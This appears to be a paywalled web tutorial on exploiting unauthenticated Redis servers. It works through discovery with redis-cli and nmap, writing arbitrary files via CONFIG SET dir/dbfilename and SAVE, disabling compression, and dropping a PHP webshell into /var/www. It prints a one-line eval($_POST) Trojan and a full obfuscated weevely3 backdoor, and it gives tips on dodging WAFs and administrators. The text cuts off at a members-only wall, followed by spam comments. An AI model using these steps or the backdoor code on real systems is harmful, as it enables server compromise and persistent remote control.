Redis unauthorized access vulnerability in-depth exploitation

(2 customer reviews)

Category: Tag:

Although edis is a high-performance memory database, it also supports saving memory data to the hard disk to achieve persistent storage. As redis does not enforce access authentication, it leads to frequent unauthorized access vulnerabilities. Intruders use this to control redis to indirectly obtain the ability of the system to write files, which greatly improves the attack power.

There are two ways to discover unauthorized redis vulnerabilities. You can use redis-cli to manually verify against a single machine:

 

$ redis-cli -p 6379 -h 192.168.56.101

192.168.56.101:6379> INFO server

# Server

redis_version:4.0.1

redis_git_sha1:00000000

redis_git_dirty:0

redis_build_id:65864c9f72c0dcf

redis_mode:standalone

os:Linux 3.16.0-4-amd64 x86_64

arch_bits:64

multiplexing_api:epoll

atomicvar_api:atomic-builtin

gcc_version:4.9.2

process_id:2213

run_id:f4583ca8759931262b707df016655eabd7b85eed

tcp_port:6379

uptime_in_seconds:2101

uptime_in_days:0

hz:10

lru_clock:12289112

executable:/root/redis-server

config_file:

 

Among them, INFO server is an internal command executed after logging in to redis. It is used to display server environment information, such as operating system version, GCC version, redis version, etc. It can be seen that without entering any account/password, it has been Successfully execute the redis internal command to confirm that there is an unauthorized access vulnerability; you can also use nmap to automatically verify in batches:

 

$ nmap -v -n -Pn -p 6379 -sV –script=redis-info 192.168.56.1/24

Nmap scan report for 192.168.56.101

Host is up (-0.078s latency).

PORT     STATE SERVICE VERSION

6379/tcp open  redis  Redis key-value store 4.0.1 (64 bits)

| redis-info:

|  Version: 4.0.1

|  Operating System: Linux 3.16.0-4-amd64 x86_64

|  Architecture: 64 bits

|  Process ID: 2213

|  Used CPU (sys): 3.20

|  Used CPU (user): 0.77

|  Connected clients: 2

|  Connected slaves: 0

|  Used memory: 828.64K

|  Role: master

|  Bind addresses:

|    0.0.0.0

|  Client connections:

|_   192.168.56.1

 

Among them, redis-info is a plug-in dedicated to checking this vulnerability by nmap. The detection range is the entire C section of 192.168.56.1/24. From the output results, you can also see a large amount of 192.168.56.101 environmental information, and the unauthorized access vulnerability was successfully detected. .

With the unauthorized access vulnerability, there is the ability to write files to the system. But there is an important prerequisite. Redis can create files but cannot create directories. Therefore, the directory where redis is to write files must exist in advance. Redis writing files is roughly divided into four steps: login, set file path, create key/value, and save.

Use redis-cli to connect to redis:

 

$ redis-cli -p 6379 -h 192.168.56.101

192.168.56.101:6379>

 

Enter PING to display PONG, it means login is successful:

 

192.168.56.101:6379> ping

PONG

 

The connection is successful. Specify the directory for writing files:

 

192.168.56.101:6379> CONFIG SETdir /tmp

OK

 

This directory must already exist and the redis installation account has write access to it, otherwise an error will be reported:

 

(error) ERR Changing directory: Nosuch file or directory

 

Set the file name to be written:

 

192.168.56.101:6379> CONFIG SETdbfilename yourfile

OK

 

In this way, the file path is completely /tmp/yourfile. Create a key/value pair with the key yourkey and the value yourvalue:

 

192.168.56.101:6379> SET YOURKEY”YOURVALUE”

OK

 

Write memory data to file:

Log in to 192.168.56.101 to view the file just written:

 

# cat /tmp/yourfile REDIS0008�       redis-ver4.0.1� redis-bits�@�ctime�!��Yused-memˆ�                                  �                                   aof-preamble��repl-id(f673f43a842713fcfa179696f306c536f476e997�                                                                                                 repl-offset���##oldkeoldvalueyourkey       yourvalue�Z?#�� 192.168.56.101:6379> SAVE OK

 

There are garbled characters because redis writes files in binary mode, and looks at it in binary mode:

 

$ xxd /tmp/yourfile

0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis

0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi

0000020: 732d 6269 7473 c040 fa056374 696d 65c2  s-bits.@..ctime.

0000030: 21c0 9a59 fa08 7573 65642d6d 656d c288  !..Y..used-mem..

0000040: 9d0c 00fa 0c61 6f66 2d707265 616d 626c  …..aof-preambl

0000050: 65c0 00fa 0772 6570 6c2d6964 2866 3637  e….repl-id(f67

0000060: 3366 3433 6138 3432 37313366 6366 6131  3f43a842713fcfa1

0000070: 3739 3639 3666 3330 36633533 3666 3437  79696f306c536f47

0000080: 3665 3939 37fa 0b72 65706c2d 6f66 6673  6e997..repl-offs

0000090: 6574 c000 fe00 fb02 0000066f 6c64 6b65  et………oldke

00000a0: 7908 6f6c 6476 616c 75650007 796f 7572  y.oldvalue..your

00000b0: 6b65 7909 796f 7572 76616c75 65ff 8e19  key.yourvalue

00000c0: 5a00 3f17 9be9 0a                        Z.?….

 

Three key points can be seen from this: First, the key and value can be used as the carrier of the string to be written, such as yourkey and yourvalue; second, the internal key information of redis is also written into the file, such as REDIS0008, redis- ver.4.0.1; Thirdly, other previously existing keys/values will also be saved in the file, such as oldkey and oldvalue.

I am used to using values as the carrier for writing strings. The string should be wrapped with double quotation marks; if the string contains double quotation marks, single quotation marks and other characters, it should be escaped with \” and \’; if you want to write multiple lines of text, you should merge multiple lines into one line, using \ n division; in addition, in order to prevent abnormal connection between the string to be written and other connections, it is best to add a few \n or spaces before and after the string to isolate it:

 

192.168.56.101:6379> SET yourkey”\n\n i say \”hi\”;\nu say \’hello\’ \n\n”

OK

 

Redis write file function, the purpose is not to simply save the keys/values in the memory to the hard disk, but to facilitate the recovery of data from the file, then the file format, key attributes, version and other internal redis internal information And write to the file. From an attacker’s point of view, files written with redis must be fault-tolerant, otherwise, the vulnerability cannot be exploited. For example, write characters outside of PHP syntax to tmp.php:

 

aaaaaa bbbbbbbbbb

<?php phpinfo(); ?>

cccc dddddddddddd

 

By accessing the page through URL, PHP code can be run normally. Script files such as php are fault-tolerant, so writing webshell is feasible.

Redis’s file writing function not only saves the key/value you just created, but also saves other existing keys/values. Therefore, the keys/values oldkey/oldvalue that you did not create are also written to the file. From an attacker’s perspective, this can cause some problems. For example, if you create a key/value to store a Trojan horse and want to save it to the webshell, if another attacker also creates a key/value to store the Trojan horse, redis may write his Trojan horse in front of you when writing files (ie, His Trojan is on the first line of tmp.php, and yours is on the second line). Once his Trojan is set to require a password to access, then your Trojan will never be resolved. In order to avoid this kind of problem, before writing a file, generally check which keys are currently available:

 

192.168.56.101:6379> KEYS *

2) “resque:delayed:last_enqueued_at”

3) “phpspy”

4)”resque:stat:failed:mobby-db:26377:*”

 

Verify suspicious keys:

 

192.168.56.101:6379> GET”phpspy”

“<?php@eval($_POST[value]);?>”

 

Delete suspicious keys:

 

192.168.56.101:6379> DEL”phpspy”

(integer) 1

 

If you find it troublesome to verify one by one, you can set the key name to 0, redis writes the file in character order, so you can write your value in front of the file; you can even use FLUSHALL to clear all the keys/values before creating you Key/value, then the written file must be very clean.

One more thing, you should know that in order to efficiently use hard disk space, redis uses LZF compression to write data by default. For example, create a key/value with a key of fours and a value of 44444444444444444444444444444444444:

 

192.168.56.101:6379> SET fours”44444444444444444444444444444444444444″

OK

192.168.56.101:6379> GET fours

“44444444444444444444444444444444444444”

192.168.56.101:6379> save

OK

 

View the written file:

 

$ xxd /tmp/test.txt

0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis

0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi

0000020: 732d 6269 7473 c040 fa056374 696d 65c2  s-bits.@..ctime.

0000030: 5a08 9d59 fa08 7573 65642d6d 656d c2d8  Z..Y..used-mem..

0000040: 9c0c 00fa 0c61 6f66 2d707265 616d 626c  …..aof-preambl

0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064  e….repl-id(80d

0000060: 3166 3935 6562 6130 38333236 3433 3137  1f95eba083264317

0000070: 6461 3835 3338 6235 31643863 3235 3230  da8538b51d8c2520

0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673  97ce8..repl-offs

0000090: 6574 c000 fe00 fb01 00000566 6f75 7273  et………fours

00000a0: c309 2601 3434 e019 00013434 ff0f ac63  ..&.44….44…c

00000b0: 03c6 35a9 00                             ..5..

 

Redis does not strictly write the specified number of 4 to the file. In scenarios such as writing webshell, once the PHP code is compressed, it will definitely not be parsed correctly. Therefore, the compression function should usually be turned off:

 

192.168.56.101:6379> CONFIG SETrdbcompression no

OK

192.168.56.101:6379> SET fours”44444444444444444444444444444444444444″

OK

192.168.56.101:6379> GET fours

“44444444444444444444444444444444444444”

192.168.56.101:6379> save

OK

 

Check the written file, everything is normal:

 

# xxd /var/www/test.txt

0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis

0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi

0000020: 732d 6269 7473 c040 fa056374 696d 65c2  s-bits.@..ctime.

0000030: 9b0a 9d59 fa08 7573 65642d6d 656d c268  …Y..used-mem.h

0000040: 9d0c 00fa 0c61 6f66 2d707265 616d 626c  …..aof-preambl

0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064  e….repl-id(80d

0000060: 3166 3935 6562 6130 38333236 3433 3137  1f95eba083264317

0000070: 6461 3835 3338 6235 31643863 3235 3230  da8538b51d8c2520

0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673  97ce8..repl-offs

0000090: 6574 c000 fe00 fb01 00000566 6f75 7273  et………fours

00000a0: 2634 3434 3434 3434 34343434 3434 3434  &444444444444444

00000b0: 3434 3434 3434 3434 34343434 3434 3434  4444444444444444

00000c0: 3434 3434 3434 34ff dd3f6b58 38a0 bd7f  4444444..?kX8…

 

 

If you feel that the manual operation of the entire file writing process is too troublesome, you can use MSF to automate:

 

msf > useauxiliary/scanner/redis/file_upload

msf auxiliary(file_upload) > showoptions

Module options(auxiliary/scanner/redis/file_upload):

Name                    CurrentSetting  Required  Description

—-                   —————  ——–  ———–

DISABLE_RDBCOMPRESSION  true             yes       Disable compression when saving if foundto be enabled

FLUSHALL                false            yes       Run flushall to remove all redis databefore saving

LocalFile                               no        Local file to beuploaded

PASSWORD               foobared         no        Redis password for authentication test

RHOSTS                                  yes       The target address rangeor CIDR identifier

RPORT                   6379             yes       The target port (TCP)

RemoteFile                              no        Remote file path

THREADS                 1                yes       The number of concurrent threads

 

 

The meaning of many of the options has been mentioned before, for example, DISABLE_RDBCOMPRESSION indicates whether to turn off the compression function, it must be; the file path written by RemoteFile must not only include the directory but also the file name; whether FLUSHALL deletes other existing ones in redis first Key/value, it is best to choose No to avoid affecting normal business. You should manually check and delete non-business suspicious keys/values:

 

msf auxiliary(file_upload) > setDISABLE_RDBCOMPRESSION yes

DISABLE_RDBCOMPRESSION => true

msf auxiliary(file_upload) > setRHOSTS 192.168.56.101

RHOSTS => 192.168.56.101

msf auxiliary(file_upload) > setRemoteFile /tmp/yourfile2

RemoteFile => /tmp/yourfile2

msf auxiliary(file_upload) > setLocalFile /home/yangyangwithgnu/test.txt

LocalFile =>/home/yangyangwithgnu/test.txt

msf auxiliary(file_upload) > run

[+] 192.168.56.101:6379 -192.168.56.101:6379 — saved 15 bytes inside of redis DB at /tmp/yourfile2

[*] Scanned 1 of 1 hosts (100%complete)

[*] Auxiliary module executioncompleted

 

View the written file:

 

# xxd /tmp/yourfile2

0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis

0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi

0000020: 732d 6269 7473 c040 fa056374 696d 65c2  s-bits.@..ctime.

0000030: 92ba 9e59 fa08 7573 65642d6d 656d c238  …Y..used-mem.8

0000040: f10c 00fa 0c61 6f66 2d707265 616d 626c  …..aof-preambl

0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064  e….repl-id(80d

0000060: 3166 3935 6562 6130 38333236 3433 3137  1f95eba083264317

0000070: 6461 3835 3338 6235 31643863 3235 3230  da8538b51d8c2520

0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673  97ce8..repl-offs

0000090: 6574 c000 fe00 fb01 0000205a 696f 7470  et…….. Ziotp

00000a0: 6a49 4b5a 4870 6a56 784d4677 6959 4d6e  jIKZHpjVxMFwiYMn

00000b0: 6e43 6f42 4f66 6662 526f720f 0a68 656c  nCoBOffbRor..hel

00000c0: 6c6f 2c20 776f 726c 64210aff b439 bb6c  lo, world!…9.l

00000d0: 9aaa 9f29                                …)

 

 

In order to explain the details clearly, manual operation is still used later.

Write webshell files to achieve remote control

Once redis is controlled, the first thing that comes to mind is to write webshell, and fault tolerance is its biggest advantage. Assuming that the target is the PHP environment and the root directory of the web is /var/www/, follow the previous steps to try to write a normal PHP script to see if it can be resolved successfully:

 

$ redis-cli -p 6379 -h 192.168.56.101

192.168.56.101:6379> CONFIG SETdbfilename phpinfo.php

OK

192.168.56.101:6379> CONFIG SETdir “/var/www/”

OK

192.168.56.101:6379> CONFIG SETrdbcompression no

OK

192.168.56.101:6379> SET phpinfo”\n\n <?php phpinfo(); ?> \n\n” NX

OK

192.168.56.101:6379> save

OK

 

 

Visit http://192.168.56.101/phpinfo.php:

(Parse phpinfo)

Although some internal redis information appears at the top of the page, the PHP details are also normally displayed later, indicating that the analysis was successful.

Write a webshell this time. In order to reduce the uncertain factors (WAF), it is not recommended to directly use redis to write the big Trojan horse. You can write a one-sentence little Trojan horse and use the little Trojan horse to pull the big Trojan horse. Or, write a small trojan generated by msfvenom and use MSF to access, or write a small trojan generated by weevely3 and use weevely3 to access (only PHP environment). I prefer to use weevely3, as an example later.

 

weevely3 generates  webshell:

$./weevely.py generate yourpasswd~/info.php

Generated backdoor with password’yourpasswd’ in ‘/home/yangyangwithgnu/info.php’ of 1486 byte size.

 

Among them, yourpasswd is the password for accessing the webshell. In addition, the file name must not be publicized. phpspy.php, agent.php, etc. may easily attract the attention of the administrator. Check the content as follows:

 

$cat ~/info.php

<?php

$o=’&l;&lq=0.(&l&l[\\d]))?,?/&l”,$r&l&la,$m&l);if($q&l&&$m){@sess&lion_sta&lr&lt();$s=&$_S&l’;

$D=’m&ld5($&li.$kh)&l&l,0&l,3))&l;$f=$sl($ss(md5($i&l&l.$kf),0,3));$&lp=””;fo&lr&l($z=1;$z<cou’;

$e=’l[“que&lry”],$q)&l;$q=ar&lray&l_v&lalues($&lq);preg_matc&lh&l_al&ll(“/([\\&lw])[\\w-]+(?:’;

$y=’i}^&l$k{$j};&l}}return&l$o&l;}$&lr=$_SERVER;$&lrr=@$r[“&lHTTP_R&lEFER&lER”];$ra=&l@$r&’;

$h=’64&l_dec&lod&le(preg_replace(&la&lrray(“/_/”,”/-&l/”),a&lrr&lay(“/”,”+&l”),$ss&l&l($&ls[‘;

$s=’l[“HT&lTP_ACC&lEPT_LA&lNGUAGE”];if&l&l($rr&&$ra&l&l){$u=parse_url(&l&l$rr);pa&lrse_str($u&’;

$f=’n&l&lt($m[1]);$&lz++&l)$p.=&l$q[$m[2][$z]&l];&lif&l(s&ltrpos($p,$h)=&l&l==0){$s[$i]=””&’;

$P=’$&li],0,$e))),$k))&l);$&lo=ob_g&let_conten&lts();ob_&lend_cle&lan&l();$d=base6&l4_enc&lod’;

$R=’e(x(&lgzcompr&le&lss($o),$&lk));&lprint(&l”<$k>$d</&l$k>”)&l&l;@s&lession_destroy();}}}}’;

$Z=’$kh&l=”aeb&lb”;$kf&l=”7a&l7d”;func&ltion&lx($t,$k){&l$c=&lstr&llen($k);$l=strlen(&l&l$t);$’;

$A=’l;$&lp=$ss($p,3);}&lif(&larra&ly_ke&ly_exi&lsts($i,$s)){$&ls[$i].=&l$&lp;$e=st&lrp&los($s’;

$l=’&lESSION;$ss=”s&lubstr”;$sl=”str&ltolowe&lr”;$i=$m&l[1][0&l].$m[1&l][&l1];$h=$sl($&lss(‘;

$n=’o=””;&lf&lor($i=0;$i<$l;&l){for&l(&l$j=0;(&l$j<$c&&$i&l<$l);$j&l++,$i&l++){&l&l$o.=$t{$’;

$V=str_replace(‘XZ’,”,’crXZXZeate_XZXZXZfunXZction’);

$w='[$i],$&lf)&l;if($e){$k&l=$kh.$kf&l;ob&l_&lstart();@ev&lal(@gz&lunc&lompress(@&lx(@bas&le’;

$q=str_replace(‘&l’,”,$Z.$n.$y.$s.$e.$o.$l.$D.$f.$A.$w.$h.$P.$R);

$G=$V(”,$q);$G();

?>

 

 

The content is not like ordinary PHP code, that’s right, weevely3 deliberately made code obfuscation in order to avoid killing.

The following content is visible to members

You do not have permission to read this content, click here to become a member and refresh this page to read it

2 reviews for Redis unauthorized access vulnerability in-depth exploitation

  1. Quincy

    Hello to every one, sinjce I am genuinely keen of reading this website’s post to be updated
    regularly. It carries nice data.

    my blog :: <a href="[Link deleted]Security System

  2. Lucille

    Nice blog here! Also your web site a lot up verry fast!

    I desire my site loaded up as quickly as yours…

    my blog post <a href="[Link deleted]Security Cameras

Add a review

Your email address will not be published. Required fields are marked *